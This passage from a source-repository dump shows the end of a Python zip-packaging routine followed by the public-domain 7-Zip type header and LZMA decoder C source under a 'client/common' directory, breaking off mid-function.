srcfile = mpath
if srcfile.endswith(('.pyc', '.pyo')):
srcfile = srcfile[:-1]
zf.writestr(dep+'.pyo', compile_py(srcfile))
else:
zf.write(mpath, dep+ext)
finally:
zf.writestr('fid.toc', marshal.dumps(compile_map))
zf.close()
================================================
FILE: client/common/7zTypes.h
================================================
/* 7zTypes.h -- Basic types
2013-11-12 : Igor Pavlov : Public domain */
#ifndef __7Z_TYPES_H
#define __7Z_TYPES_H
#ifdef _WIN32
/* #include <windows.h> */
#endif
#include <stddef.h>
#ifndef EXTERN_C_BEGIN
#ifdef __cplusplus
#define EXTERN_C_BEGIN extern "C" {
#define EXTERN_C_END }
#else
#define EXTERN_C_BEGIN
#define EXTERN_C_END
#endif
#endif
EXTERN_C_BEGIN
#define SZ_OK 0
#define SZ_ERROR_DATA 1
#define SZ_ERROR_MEM 2
#define SZ_ERROR_CRC 3
#define SZ_ERROR_UNSUPPORTED 4
#define SZ_ERROR_PARAM 5
#define SZ_ERROR_INPUT_EOF 6
#define SZ_ERROR_OUTPUT_EOF 7
#define SZ_ERROR_READ 8
#define SZ_ERROR_WRITE 9
#define SZ_ERROR_PROGRESS 10
#define SZ_ERROR_FAIL 11
#define SZ_ERROR_THREAD 12
#define SZ_ERROR_ARCHIVE 16
#define SZ_ERROR_NO_ARCHIVE 17
typedef int SRes;
#ifdef _WIN32
/* typedef DWORD WRes; */
typedef unsigned WRes;
#else
typedef int WRes;
#endif
#ifndef RINOK
#define RINOK(x) { int __result__ = (x); if (__result__ != 0) return __result__; }
#endif
typedef unsigned char Byte;
typedef short Int16;
typedef unsigned short UInt16;
#ifdef _LZMA_UINT32_IS_ULONG
typedef long Int32;
typedef unsigned long UInt32;
#else
typedef int Int32;
typedef unsigned int UInt32;
#endif
#ifdef _SZ_NO_INT_64
/* define _SZ_NO_INT_64, if your compiler doesn't support 64-bit integers.
NOTES: Some code will work incorrectly in that case! */
typedef long Int64;
typedef unsigned long UInt64;
#else
#if defined(_MSC_VER) || defined(__BORLANDC__)
typedef __int64 Int64;
typedef unsigned __int64 UInt64;
#define UINT64_CONST(n) n
#else
typedef long long int Int64;
typedef unsigned long long int UInt64;
#define UINT64_CONST(n) n ## ULL
#endif
#endif
#ifdef _LZMA_NO_SYSTEM_SIZE_T
typedef UInt32 SizeT;
#else
typedef size_t SizeT;
#endif
typedef int Bool;
#define True 1
#define False 0
#ifdef _WIN32
#define MY_STD_CALL __stdcall
#else
#define MY_STD_CALL
#endif
#ifdef _MSC_VER
#if _MSC_VER >= 1300
#define MY_NO_INLINE __declspec(noinline)
#else
#define MY_NO_INLINE
#endif
#define MY_CDECL __cdecl
#define MY_FAST_CALL __fastcall
#else
#define MY_NO_INLINE
#define MY_CDECL
#define MY_FAST_CALL
#endif
/* The following interfaces use first parameter as pointer to structure */
typedef struct
{
Byte (*Read)(void *p); /* reads one byte, returns 0 in case of EOF or error */
} IByteIn;
typedef struct
{
void (*Write)(void *p, Byte b);
} IByteOut;
typedef struct
{
SRes (*Read)(void *p, void *buf, size_t *size);
/* if (input(*size) != 0 && output(*size) == 0) means end_of_stream.
(output(*size) < input(*size)) is allowed */
} ISeqInStream;
/* it can return SZ_ERROR_INPUT_EOF */
SRes SeqInStream_Read(ISeqInStream *stream, void *buf, size_t size);
SRes SeqInStream_Read2(ISeqInStream *stream, void *buf, size_t size, SRes errorType);
SRes SeqInStream_ReadByte(ISeqInStream *stream, Byte *buf);
typedef struct
{
size_t (*Write)(void *p, const void *buf, size_t size);
/* Returns: result - the number of actually written bytes.
(result < size) means error */
} ISeqOutStream;
typedef enum
{
SZ_SEEK_SET = 0,
SZ_SEEK_CUR = 1,
SZ_SEEK_END = 2
} ESzSeek;
typedef struct
{
SRes (*Read)(void *p, void *buf, size_t *size); /* same as ISeqInStream::Read */
SRes (*Seek)(void *p, Int64 *pos, ESzSeek origin);
} ISeekInStream;
typedef struct
{
SRes (*Look)(void *p, const void **buf, size_t *size);
/* if (input(*size) != 0 && output(*size) == 0) means end_of_stream.
(output(*size) > input(*size)) is not allowed
(output(*size) < input(*size)) is allowed */
SRes (*Skip)(void *p, size_t offset);
/* offset must be <= output(*size) of Look */
SRes (*Read)(void *p, void *buf, size_t *size);
/* reads directly (without buffer). It's same as ISeqInStream::Read */
SRes (*Seek)(void *p, Int64 *pos, ESzSeek origin);
} ILookInStream;
SRes LookInStream_LookRead(ILookInStream *stream, void *buf, size_t *size);
SRes LookInStream_SeekTo(ILookInStream *stream, UInt64 offset);
/* reads via ILookInStream::Read */
SRes LookInStream_Read2(ILookInStream *stream, void *buf, size_t size, SRes errorType);
SRes LookInStream_Read(ILookInStream *stream, void *buf, size_t size);
#define LookToRead_BUF_SIZE (1 << 14)
typedef struct
{
ILookInStream s;
ISeekInStream *realStream;
size_t pos;
size_t size;
Byte buf[LookToRead_BUF_SIZE];
} CLookToRead;
void LookToRead_CreateVTable(CLookToRead *p, int lookahead);
void LookToRead_Init(CLookToRead *p);
typedef struct
{
ISeqInStream s;
ILookInStream *realStream;
} CSecToLook;
void SecToLook_CreateVTable(CSecToLook *p);
typedef struct
{
ISeqInStream s;
ILookInStream *realStream;
} CSecToRead;
void SecToRead_CreateVTable(CSecToRead *p);
typedef struct
{
SRes (*Progress)(void *p, UInt64 inSize, UInt64 outSize);
/* Returns: result. (result != SZ_OK) means break.
Value (UInt64)(Int64)-1 for size means unknown value. */
} ICompressProgress;
typedef struct
{
void *(*Alloc)(void *p, size_t size);
void (*Free)(void *p, void *address); /* address can be 0 */
} ISzAlloc;
#define IAlloc_Alloc(p, size) (p)->Alloc((p), size)
#define IAlloc_Free(p, a) (p)->Free((p), a)
#ifdef _WIN32
#define CHAR_PATH_SEPARATOR '\\'
#define WCHAR_PATH_SEPARATOR L'\\'
#define STRING_PATH_SEPARATOR "\\"
#define WSTRING_PATH_SEPARATOR L"\\"
#else
#define CHAR_PATH_SEPARATOR '/'
#define WCHAR_PATH_SEPARATOR L'/'
#define STRING_PATH_SEPARATOR "/"
#define WSTRING_PATH_SEPARATOR L"/"
#endif
EXTERN_C_END
#endif
================================================
FILE: client/common/LzmaDec.c
================================================
/* LzmaDec.c -- LZMA Decoder
2016-05-16 : Igor Pavlov : Public domain */
#include "LzmaDec.h"
#include <string.h>
#define kNumTopBits 24
#define kTopValue ((UInt32)1 << kNumTopBits)
#define kNumBitModelTotalBits 11
#define kBitModelTotal (1 << kNumBitModelTotalBits)
#define kNumMoveBits 5
#define RC_INIT_SIZE 5
#define NORMALIZE if (range < kTopValue) { range <<= 8; code = (code << 8) | (*buf++); }
#define IF_BIT_0(p) ttt = *(p); NORMALIZE; bound = (range >> kNumBitModelTotalBits) * ttt; if (code < bound)
#define UPDATE_0(p) range = bound; *(p) = (CLzmaProb)(ttt + ((kBitModelTotal - ttt) >> kNumMoveBits));
#define UPDATE_1(p) range -= bound; code -= bound; *(p) = (CLzmaProb)(ttt - (ttt >> kNumMoveBits));
#define GET_BIT2(p, i, A0, A1) IF_BIT_0(p) \
{ UPDATE_0(p); i = (i + i); A0; } else \
{ UPDATE_1(p); i = (i + i) + 1; A1; }
#define GET_BIT(p, i) GET_BIT2(p, i, ; , ;)
#define TREE_GET_BIT(probs, i) { GET_BIT((probs + i), i); }
#define TREE_DECODE(probs, limit, i) \
{ i = 1; do { TREE_GET_BIT(probs, i); } while (i < limit); i -= limit; }
/* #define _LZMA_SIZE_OPT */
#ifdef _LZMA_SIZE_OPT
#define TREE_6_DECODE(probs, i) TREE_DECODE(probs, (1 << 6), i)
#else
#define TREE_6_DECODE(probs, i) \
{ i = 1; \
TREE_GET_BIT(probs, i); \
TREE_GET_BIT(probs, i); \
TREE_GET_BIT(probs, i); \
TREE_GET_BIT(probs, i); \
TREE_GET_BIT(probs, i); \
TREE_GET_BIT(probs, i); \
i -= 0x40; }
#endif
#define NORMAL_LITER_DEC GET_BIT(prob + symbol, symbol)
#define MATCHED_LITER_DEC \
matchByte <<= 1; \
bit = (matchByte & offs); \
probLit = prob + offs + bit + symbol; \
GET_BIT2(probLit, symbol, offs &= ~bit, offs &= bit)
#define NORMALIZE_CHECK if (range < kTopValue) { if (buf >= bufLimit) return DUMMY_ERROR; range <<= 8; code = (code << 8) | (*buf++); }
#define IF_BIT_0_CHECK(p) ttt = *(p); NORMALIZE_CHECK; bound = (range >> kNumBitModelTotalBits) * ttt; if (code < bound)
#define UPDATE_0_CHECK range = bound;
#define UPDATE_1_CHECK range -= bound; code -= bound;
#define GET_BIT2_CHECK(p, i, A0, A1) IF_BIT_0_CHECK(p) \
{ UPDATE_0_CHECK; i = (i + i); A0; } else \
{ UPDATE_1_CHECK; i = (i + i) + 1; A1; }
#define GET_BIT_CHECK(p, i) GET_BIT2_CHECK(p, i, ; , ;)
#define TREE_DECODE_CHECK(probs, limit, i) \
{ i = 1; do { GET_BIT_CHECK(probs + i, i) } while (i < limit); i -= limit; }
#define kNumPosBitsMax 4
#define kNumPosStatesMax (1 << kNumPosBitsMax)
#define kLenNumLowBits 3
#define kLenNumLowSymbols (1 << kLenNumLowBits)
#define kLenNumMidBits 3
#define kLenNumMidSymbols (1 << kLenNumMidBits)
#define kLenNumHighBits 8
#define kLenNumHighSymbols (1 << kLenNumHighBits)
#define LenChoice 0
#define LenChoice2 (LenChoice + 1)
#define LenLow (LenChoice2 + 1)
#define LenMid (LenLow + (kNumPosStatesMax << kLenNumLowBits))
#define LenHigh (LenMid + (kNumPosStatesMax << kLenNumMidBits))
#define kNumLenProbs (LenHigh + kLenNumHighSymbols)
#define kNumStates 12
#define kNumLitStates 7
#define kStartPosModelIndex 4
#define kEndPosModelIndex 14
#define kNumFullDistances (1 << (kEndPosModelIndex >> 1))
#define kNumPosSlotBits 6
#define kNumLenToPosStates 4
#define kNumAlignBits 4
#define kAlignTableSize (1 << kNumAlignBits)
#define kMatchMinLen 2
#define kMatchSpecLenStart (kMatchMinLen + kLenNumLowSymbols + kLenNumMidSymbols + kLenNumHighSymbols)
#define IsMatch 0
#define IsRep (IsMatch + (kNumStates << kNumPosBitsMax))
#define IsRepG0 (IsRep + kNumStates)
#define IsRepG1 (IsRepG0 + kNumStates)
#define IsRepG2 (IsRepG1 + kNumStates)
#define IsRep0Long (IsRepG2 + kNumStates)
#define PosSlot (IsRep0Long + (kNumStates << kNumPosBitsMax))
#define SpecPos (PosSlot + (kNumLenToPosStates << kNumPosSlotBits))
#define Align (SpecPos + kNumFullDistances - kEndPosModelIndex)
#define LenCoder (Align + kAlignTableSize)
#define RepLenCoder (LenCoder + kNumLenProbs)
#define Literal (RepLenCoder + kNumLenProbs)
#define LZMA_BASE_SIZE 1846
#define LZMA_LIT_SIZE 0x300
#if Literal != LZMA_BASE_SIZE
StopCompilingDueBUG
#endif
#define LzmaProps_GetNumProbs(p) (Literal + ((UInt32)LZMA_LIT_SIZE << ((p)->lc + (p)->lp)))
#define LZMA_DIC_MIN (1 << 12)
/* First LZMA-symbol is always decoded.
And it decodes new LZMA-symbols while (buf < bufLimit), but "buf" is without last normalization
Out:
Result:
SZ_OK - OK
SZ_ERROR_DATA - Error
p->remainLen:
< kMatchSpecLenStart : normal remain
= kMatchSpecLenStart : finished
= kMatchSpecLenStart + 1 : Flush marker (unused now)
= kMatchSpecLenStart + 2 : State Init Marker (unused now)
*/
static int MY_FAST_CALL LzmaDec_DecodeReal(CLzmaDec *p, SizeT limit, const Byte *bufLimit)
{
CLzmaProb *probs = p->probs;
unsigned state = p->state;
UInt32 rep0 = p->reps[0], rep1 = p->reps[1], rep2 = p->reps[2], rep3 = p->reps[3];
unsigned pbMask = ((unsigned)1 << (p->prop.pb)) - 1;
unsigned lpMask = ((unsigned)1 << (p->prop.lp)) - 1;
unsigned lc = p->prop.lc;
Byte *dic = p->dic;
SizeT dicBufSize = p->dicBufSize;
SizeT dicPos = p->dicPos;
UInt32 processedPos = p->processedPos;
UInt32 checkDicSize = p->checkDicSize;
unsigned len = 0;
const Byte *buf = p->buf;
UInt32 range = p->range;
UInt32 code = p->code;
do
{
CLzmaProb *prob;
UInt32 bound;
unsigned ttt;
unsigned posState = processedPos & pbMask;
prob = probs + IsMatch + (state << kNumPosBitsMax) + posState;
IF_BIT_0(prob)
{
unsigned symbol;
UPDATE_0(prob);
prob = probs + Literal;
if (processedPos != 0 || checkDicSize != 0)
prob += ((UInt32)LZMA_LIT_SIZE * (((processedPos & lpMask) << lc) +
(dic[(dicPos == 0 ? dicBufSize : dicPos) - 1] >> (8 - lc))));
processedPos++;
if (state < kNumLitStates)
{
state -= (state < 4) ? state : 3;
symbol = 1;
#ifdef _LZMA_SIZE_OPT
do { NORMAL_LITER_DEC } while (symbol < 0x100);
#else
NORMAL_LITER_DEC
NORMAL_LITER_DEC
NORMAL_LITER_DEC
NORMAL_LITER_DEC
NORMAL_LITER_DEC
NORMAL_LITER_DEC
NORMAL_LITER_DEC
NORMAL_LITER_DEC
#endif
}
else
{
unsigned matchByte = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)];
unsigned offs = 0x100;
state -= (state < 10) ? 3 : 6;
symbol = 1;
#ifdef _LZMA_SIZE_OPT
do
{
unsigned bit;
CLzmaProb *probLit;
MATCHED_LITER_DEC
}
while (symbol < 0x100);
#else
{
unsigned bit;
CLzmaProb *probLit;
MATCHED_LITER_DEC
MATCHED_LITER_DEC
MATCHED_LITER_DEC
MATCHED_LITER_DEC
MATCHED_LITER_DEC
MATCHED_LITER_DEC
MATCHED_LITER_DEC
MATCHED_LITER_DEC
}
#endif
}
dic[dicPos++] = (Byte)symbol;
continue;
}
{
UPDATE_1(prob);
prob = probs + IsRep + state;
IF_BIT_0(prob)
{
UPDATE_0(prob);
state += kNumStates;
prob = probs + LenCoder;
}
else
{
UPDATE_1(prob);
if (checkDicSize == 0 && processedPos == 0)
return SZ_ERROR_DATA;
prob = probs + IsRepG0 + state;
IF_BIT_0(prob)
{
UPDATE_0(prob);
prob = probs + IsRep0Long + (state << kNumPosBitsMax) + posState;
IF_BIT_0(prob)
{
UPDATE_0(prob);
dic[dicPos] = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)];
dicPos++;
processedPos++;
state = state < kNumLitStates ? 9 : 11;
continue;
}
UPDATE_1(prob);
}
else
{
UInt32 distance;
UPDATE_1(prob);
prob = probs + IsRepG1 + state;
IF_BIT_0(prob)
{
UPDATE_0(prob);
distance = rep1;
}
else
{
UPDATE_1(prob);
prob = probs + IsRepG2 + state;
IF_BIT_0(prob)
{
UPDATE_0(prob);
distance = rep2;
}
else
{
UPDATE_1(prob);
distance = rep3;
rep3 = rep2;
}
rep2 = rep1;
}
rep1 = rep0;
rep0 = distance;
}
state = state < kNumLitStates ? 8 : 11;
prob = probs + RepLenCoder;
}
#ifdef _LZMA_SIZE_OPT
{
unsigned lim, offset;
CLzmaProb *probLen = prob + LenChoice;
IF_BIT_0(probLen)
{
UPDATE_0(probLen);
probLen = prob + LenLow + (posState << kLenNumLowBits);
offset = 0;
lim = (1 << kLenNumLowBits);
}
else
{
UPDATE_1(probLen);
probLen = prob + LenChoice2;
IF_BIT_0(probLen)
{
UPDATE_0(probLen);
probLen = prob + LenMid + (posState << kLenNumMidBits);
offset = kLenNumLowSymbols;
lim = (1 << kLenNumMidBits);
}
else
{
UPDATE_1(probLen);
probLen = prob + LenHigh;
offset = kLenNumLowSymbols + kLenNumMidSymbols;
lim = (1 << kLenNumHighBits);
}
}
TREE_DECODE(probLen, lim, len);
len += offset;
}
#else
{
CLzmaProb *probLen = prob + LenChoice;
IF_BIT_0(probLen)
{
UPDATE_0(probLen);
probLen = prob + LenLow + (posState << kLenNumLowBits);
len = 1;
TREE_GET_BIT(probLen, len);
TREE_GET_BIT(probLen, len);
TREE_GET_BIT(probLen, len);
len -= 8;
}
else
{
UPDATE_1(probLen);
probLen = prob + LenChoice2;
IF_BIT_0(probLen)
{
UPDATE_0(probLen);
probLen = prob + LenMid + (posState << kLenNumMidBits);
len = 1;
TREE_GET_BIT(probLen, len);
TREE_GET_BIT(probLen, len);
TREE_GET_BIT(probLen, len);
}
else
{
UPDATE_1(probLen);
probLen = prob + LenHigh;
TREE_DECODE(probLen, (1 << kLenNumHighBits), len);
len += kLenNumLowSymbols + kLenNumMidSymbols;
}
}
}
#endif
if (state >= kNumStates)
{
UInt32 distance;
prob = probs + PosSlot +
((len < kNumLenToPosStates ? len : kNumLenToPosStates - 1) << kNumPosSlotBits);
TREE_6_DECODE(prob, distance);
if (distance >= kStartPosModelIndex)
{
unsigned posSlot = (unsigned)distance;
unsigned numDirectBits = (unsigned)(((distance >> 1) - 1));
distance = (2 | (distance & 1));
if (posSlot < kEndPosModelIndex)
{
distance <<= numDirectBits;
prob = probs + SpecPos + distance - posSlot - 1;
{
UInt32 mask = 1;
unsigned i = 1;
do
{
GET_BIT2(prob + i, i, ; , distance |= mask);
mask <<= 1;
}
while (--numDirectBits != 0);
}
}
else
{
numDirectBits -= kNumAlignBits;
do
{
NORMALIZE
range >>= 1;
{
UInt32 t;
code -= range;
t = (0 - ((UInt32)code >> 31)); /* (UInt32)((Int32)code >> 31) */
distance = (distance << 1) + (t + 1);
code += range & t;
}
/*
distance <<= 1;
if (code >= range)
{
code -= range;
distance |= 1;
}
*/
}
while (--numDirectBits != 0);
prob = probs + Align;
distance <<= kNumAlignBits;
{
unsigned i = 1;
GET_BIT2(prob + i, i, ; , distance |= 1);
GET_BIT2(prob + i, i, ; , distance |= 2);
GET_BIT2(prob + i, i, ; , distance |= 4);
GET_BIT2(prob + i, i, ; , distance |= 8);
}
if (distance == (UInt32)0xFFFFFFFF)
{
len += kMatchSpecLenStart;
state -= kNumStates;
break;
}
}
}
rep3 = rep2;
rep2 = rep1;
rep1 = rep0;
rep0 = distance + 1;
if (checkDicSize == 0)
{
if (distance >= processedPos)
{
p->dicPos = dicPos;
return SZ_ERROR_DATA;
}
}
else if (distance >= checkDicSize)
{
p->dicPos = dicPos;
return SZ_ERROR_DATA;
}
state = (state < kNumStates + kNumLitStates) ? kNumLitStates : kNumLitStates + 3;
}
len += kMatchMinLen;
{
SizeT rem;
unsigned curLen;
SizeT pos;
if ((rem = limit - dicPos) == 0)
{
p->dicPos = dicPos;
return SZ_ERROR_DATA;
}
curLen = ((rem < len) ? (unsigned)rem : len);
pos = dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0);
processedPos += curLen;
len -= curLen;
if (curLen <= dicBufSize - pos)
{
Byte *dest = dic + dicPos;
ptrdiff_t src = (ptrdiff_t)pos - (ptrdiff_t)dicPos;
const Byte *lim = dest + curLen;
dicPos += curLen;
do
*(dest) = (Byte)*(dest + src);
while (++dest != lim);
}
else
{
do
{
dic[dicPos++] = dic[pos];
if (++pos == dicBufSize)
pos = 0;
}
while (--curLen != 0);
}
}
}
}
while (dicPos < limit && buf < bufLimit);
NORMALIZE;
p->buf = buf;
p->range = range;
p->code = code;
p->remainLen = len;
p->dicPos = dicPos;
p->processedPos = processedPos;
p->reps[0] = rep0;
p->reps[1] = rep1;
p->reps[2] = rep2;
p->reps[3] = rep3;
p->state = state;
return SZ_OK;
}
static void MY_FAST_CALL LzmaDec_WriteRem(CLzmaDec *p, SizeT limit)
{
if (p->remainLen != 0 && p->remainLen < kMatchSpecLenStart)
{
Byte *dic = p->dic;
SizeT dicPos = p->dicPos;
SizeT dicBufSize = p->dicBufSize;
unsigned len = p->remainLen;
SizeT rep0 = p->reps[0]; /* we use SizeT to avoid the BUG of VC14 for AMD64 */
SizeT rem = limit - dicPos;
if (rem < len)
len = (unsigned)(rem);
if (p->checkDicSize == 0 && p->prop.dicSize - p->processedPos <= len)
p->checkDicSize = p->prop.dicSize;
p->processedPos += len;
p->remainLen -= len;
while (len != 0)
{
len--;
dic[dicPos] = dic[dicPos - rep0 + (dicPos < rep0 ? dicBufSize : 0)];
dicPos++;
}
p->dicPos = dicPos;
}
}
static int MY_FAST_CALL LzmaDec_DecodeReal2(CLzmaDec *p, SizeT limit, const Byte *bufLimit)
{
do
{
SizeT limit2 = limit;
if (p->checkDicSize == 0)
{
UInt32 rem = p->prop.dicSize - p->processedPos;
if (limit - p->dicPos > rem)
limit2 = p->dicPos + rem;
}
RINOK(LzmaDec_DecodeReal(p, limit2, bufLimit));
if (p->checkDicSize == 0 && p->processedPos >= p->prop.dicSize)
p->checkDicSize = p->prop.dicSize;
LzmaDec_WriteRem(p, limit);
}
while (p->dicPos < limit && p->buf < bufLimit && p->remainLen < kMatchSpecLenStart);
if (p->remainLen > kMatchSpecLenStart)
p->remainLen = kMatchSpecLenStart;
return 0;
}
typedef enum
{
DUMMY_ERROR, /* unexpected end of input stream */
DUMMY_LIT,
DUMMY_MATCH,
DUMMY_REP
} ELzmaDummy;
static ELzmaDummy LzmaDec_TryDummy(const CLzmaDec *p, const Byte *buf, SizeT inSize)
{
UInt32 range = p->range;
UInt32 code = p->code;
const Byte *bufLimit = buf + inSize;
const CLzmaProb *probs = p->probs;
unsigned state = p->state;
ELzmaDummy res;
{
const CLzmaProb *prob;
UInt32 bound;
unsigned ttt;
unsigned posState = (p->processedPos) & ((1 << p->prop.pb) - 1);
prob = probs + IsMatch + (state << kNumPosBitsMax) + posState;
IF_BIT_0_CHECK(prob)
{
UPDATE_0_CHECK
/* if (bufLimit - buf >= 7) return DUMMY_LIT; */
prob = probs + Literal;
if (p->checkDicSize != 0 || p->processedPos != 0)
prob += ((UInt32)LZMA_LIT_SIZE *
((((p->processedPos) & ((1 << (p->prop.lp)) - 1)) << p->prop.lc) +
(p->dic[(p->dicPos == 0 ? p->dicBufSize : p->dicPos) - 1] >> (8 - p->prop.lc))));
if (state < kNumLitStates)
{
unsigned symbol = 1;
do { GET_BIT_CHECK(prob + symbol, symbol) } while (symbol < 0x100);
}
else
{
unsigned matchByte = p->dic[p->dicPos - p->reps[0] +
(p->dicPos < p->reps[0] ? p->dicBufSize : 0)];
unsigned offs = 0x100;
unsigned symbol = 1;
do
{
unsigned bit;
const CLzmaProb *probLit;
matchByte <<= 1;
bit = (matchByte & offs);
probLit = prob + offs + bit + symbol;
GET_BIT2_CHECK(probLit, symbol, offs &= ~bit, offs &= bit)
}
while (symbol < 0x100);
}
res = DUMMY_LIT;
}
else
{
unsigned len;
UPDATE_1_CHECK;
prob = probs + IsRep + state;
IF_BIT_0_CHECK(prob)
{
UPDATE_0_CHECK;
state = 0;
prob = probs + LenCoder;
res = DUMMY_MATCH;
}
else
{
UPDATE_1_CHECK;
res = DUMMY_REP;
prob = probs + IsRepG0 + state;
IF_BIT_0_CHECK(prob)
{
UPDATE_0_CHECK;
prob = probs + IsRep0Long + (state << kNumPosBitsMax) + posState;
IF_BIT_0_CHECK(prob)
{
UPDATE_0_CHECK;
NORMALIZE_CHECK;
return DUMMY_REP;
}
else
{
UPDATE_1_CHECK;
}
}
else
{
UPDATE_1_CHECK;
prob = probs + IsRepG1 + state;
IF_BIT_0_CHECK(prob)
{
UPDATE_0_CHECK;
}
else
{
UPDATE_1_CHECK;
prob = probs + IsRepG2 + state;
IF_BIT_0_CHECK(prob)
{
UPDATE_0_CHECK;
}
else
{
UPDATE_1_CHECK;
}
}
}
state = kNumStates;
prob = probs + RepLenCoder;
}
{
unsigned limit, offset;
const CLzmaProb *probLen = prob + LenChoice;
IF_BIT_0_CHECK(probLen)
{
UPDATE_0_CHECK;
probLen = prob + LenLow + (posState << kLenNumLowBits);
offset = 0;
limit = 1 << kLenNumLowBits;
}
else
{
UPDATE_1_CHECK;
probLen = prob + LenChoice2;
IF_BIT_0_CHECK(probLen)
{
UPDATE_0_CHECK;
probLen = prob + LenMid + (posState << kLenNumMidBits);
offset = kLenNumLowSymbols;
limit = 1 << kLenNumMidBits;
}
else
{
UPDATE_1_CHECK;
probLen = prob + LenHigh;
offset = kLenNumLowSymbols + kLenNumMidSymbols;
limit = 1 << kLenNumHighBits;
}
}
TREE_DECODE_CHECK(probLen, limit, len);
len += offset;
}
if (state < 4)
{
unsigned posSlot;
prob = probs + PosSlot +
((len < kNumLenToPosStates ? len : kNumLenToPosStates - 1) <<
kNumPosSlotBits);
TREE_DECODE_CHECK(prob, 1 << kNumPosSlotBits, posSlot);
if (posSlot >= kStartPosModelIndex)
{
unsigned numDirectBits = ((posSlot >> 1) - 1);
/* if (bufLimit - buf >= 8) return DUMMY_MATCH; */
if (posSlot < kEndPosModelIndex)
{
prob = probs + SpecPos + ((2 | (posSlot & 1)) << numDirectBits) - posSlot - 1;
}
else
{
numDirectBits -= kNumAlignBits;
do
{
NORMALIZE_CHECK
range >>= 1;
code -= range & (((code - range) >> 31) - 1);
/* if (code >= range) code -= range; */
}
while (--numDirectBits != 0);
prob = probs + Align;
numDirectBits = kNumAlignBits;
}
{
unsigned i = 1;
do
{
GET_BIT_CHECK(prob + i, i);
}
while (--numDirectBits != 0);
}
}
}
}
}
NORMALIZE_CHECK;
return res;
}
void LzmaDec_InitDicAndState(CLzmaDec *p, Bool initDic, Bool initState)
{
p->needFlush = 1;
p->remainLen = 0;
p->tempBufSize = 0;
if (initDic)
{
p->processedPos = 0;
p->checkDicSize = 0;
p->needInitState = 1;
}
if (initState)
p->needInitState = 1;
}
void LzmaDec_Init(CLzmaDec *p)
{
p->dicPos = 0;
LzmaDec_InitDicAndState(p, True, True);
}
static void LzmaDec_InitStateReal(CLzmaDec *p)
{
SizeT numProbs = LzmaProps_GetNumProbs(&p->prop);
SizeT i;
CLzmaProb *probs = p->probs;
for (i = 0; i < numProbs; i++)
probs[i] = kBitModelTotal >> 1;
p->reps[0] = p->reps[1] = p->reps[2] = p->reps[3] = 1;
p->state = 0;
p->needInitState = 0;
}
SRes LzmaDec_DecodeToDic(CLzmaDec *p, SizeT dicLimit, const Byte *src, SizeT *srcLen,
ELzmaFinishMode finishMode, ELzmaStatus *status)
{
SizeT inSize = *srcLen;
(*srcLen) = 0;
LzmaDec_WriteRem(p, dicLimit);
*status = LZMA_STATUS_NOT_SPECIFIED;
while (p->remainLen != kMatchSpecLenStart)
{
int checkEndMarkNow;
if (p->needFlush)
{
for (; inSize > 0 && p->tempBufSize < RC_INIT_SIZE; (*srcLen)++, inSize--)
p->tempBuf[p->tempBufSize++] = *src++;
if (p->tempBufSize < RC_INIT_SIZE)
{
*status = LZMA_STATUS_NEEDS_MORE_INPUT;
return SZ_OK;
}
if (p->tempBuf[0] != 0)
return SZ_ERROR_DATA;
p->code =
((UInt32)p->tempBuf[1] << 24)
| ((UInt32)p->tempBuf[2] << 16)
| ((UInt32)p->tempBuf[3] << 8)
| ((UInt32)p->tempBuf[4]);
p->range = 0xFFFFFFFF;
p->needFlush = 0;
p->tempBufSize = 0;
}
checkEndMarkNow = 0;
if (p->dicPos >= dicLimit)
{
if (p->remainLen == 0 && p->code == 0)
{
*status = LZMA_STATUS_MAYBE_FINISHED_WITHOUT_MARK;
return SZ_OK;
}
if (finishMode == LZMA_FINISH_ANY)
{
*status = LZMA_STATUS_NOT_FINISHED;
return SZ_OK;
}
if (p->remainLen != 0)
{
*status = LZMA_STATUS_NOT_FINISHED;
return SZ_ERROR_DATA;
}
checkEndMarkNow = 1;
}
if (p->needInitState)
LzmaDec_InitStateReal(p);
if (p->tempBufSize == 0)
{
SizeT processed;
const Byte *bufLimit;
if (inSize < LZMA_REQUIRED_INPUT_MAX || checkEndMarkNow)
{
int dummyRes = LzmaDec_TryDummy(p, src, inSize);
if (dummyRes == DUMMY_ERROR)
{
memcpy(p->tempBuf, src, inSize);
p->tempBufSize = (unsigned)inSize;
(*srcLen) += inSize;
*status = LZMA_STATUS_NEEDS_MORE_INPUT;
return SZ_OK;
}
if (checkEndMarkNow && dummyRes != DUMMY_MATCH)
{
*status = LZMA_STATUS_NOT_FINISHED;
return SZ_ERROR_DATA;
}
bufLimit = src;
}
else
bufLimit = src + inSize - LZMA_REQUIRED_INPUT_MAX;
p->buf = src;
if (LzmaDec_DecodeReal2(p, dicLimit, bufLimit) != 0)
return SZ_ERROR_DATA;
processed = (SizeT)(p->buf - src);
(*srcLen) += processed;
src += processed;
inSize -= processed;
}
else
{
unsigned rem = p->tempBufSize, lookAhead = 0;
while (rem < LZMA_REQUIRED_INPUT_MAX && lookAhead < inSize)
p->tempBuf[rem++] = src[lookAhead++];
p->tempBufSize = rem;
if (rem < LZMA_REQUIRED_INPUT_MAX || checkEndMarkNow)
{
int dummyRes = LzmaDec_TryDummy(p, p->tempBuf, rem);
if (dummyRes == DUMMY_ERROR)
{
(*srcLen) += lookAhead;
*status = LZMA_STATUS_NEEDS_MORE_INPUT;
return SZ_OK;
}
if (checkEndMarkNow && dummyRes != DUMMY_MATCH)
{
*status = LZMA_STATUS_NOT_FINISHED;
return SZ_ERROR_DATA;
}
}
p->buf = p->tempBuf;
if (LzmaDec_DecodeReal2(p, dicLimit, p->buf) != 0)
return SZ_ERROR_DATA;
{
unsigned kkk = (unsigned)(p->buf - p->tempBuf);
if (rem < kkk)
return SZ_ERROR_FAIL; /* some internal error */
rem -= kkk;
if (lookAhead < rem)
return SZ_ERROR_FAIL; /* some internal error */
lookAhead -= rem;
}
(*srcLen) += lookAhead;
src += lookAhead;
inSize -= lookAhead;
p->tempBufSize = 0;
}
}
if (p->code == 0)
*status = LZMA_STATUS_FINISHED_WITH_MARK;
return (p->code == 0) ? SZ_OK : SZ_ERROR_DATA;
}
SRes LzmaDec_DecodeToBuf(CLzmaDec *p, Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen, ELzmaFinishMode finishMode, ELzmaStatus *status)
{
SizeT outSize = *destLen;
SizeT inSize = *srcLen;
*srcLen = *destLen = 0;
for (;;)
{
SizeT inSizeCur = inSize, outSizeCur, dicPos;
ELzmaFinishMode curFinishMode;
SRes res;
if (p->dicPos == p->dicBufSize)
